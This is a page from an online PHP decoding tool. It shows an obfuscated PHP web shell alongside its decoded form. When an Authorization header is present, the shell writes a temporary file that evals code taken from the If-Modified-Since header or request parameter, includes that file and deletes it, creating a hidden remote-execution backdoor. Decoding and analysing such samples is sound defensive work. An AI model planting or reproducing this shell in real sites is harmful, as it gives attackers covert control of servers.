Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_HEADERS = getallheaders(); if (isset($_HEADERS['Authorization'])) { $c = "<..

Decoded Output download

<?php 
$_HEADERS = getallheaders(); 
if (isset($_HEADERS['Authorization'])) { 
    $c = "<?php @eval($_HEADERS[\"If-Modified-Since\"]);@eval($_REQUEST[\"If-Modified-Since\"]);"; 
    $f = '/tmp/.'.time(); 
    file_put_contents($f, $c); 
    include($f); 
    unlink($f); 
} ?>

Did this file decode correctly?

Original Code

<?php
$_HEADERS = getallheaders();
if (isset($_HEADERS['Authorization'])) {
    $c = "<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fH\x45A\x44E\x52S\x5b\"\x49f\x2dM\x6fd\x69f\x69e\x64-\x53i\x6ec\x65\"\x5d)\x3b@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x49f\x2dM\x6fd\x69f\x69e\x64-\x53i\x6ec\x65\"\x5d)\x3b";
    $f = '/tmp/.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}

Function Calls

getallheaders 1

Variables

None

Stats

MD5 c93db615f0b8ab4f2353230e1b88c07d
Eval Count 0
Decode Time 45 ms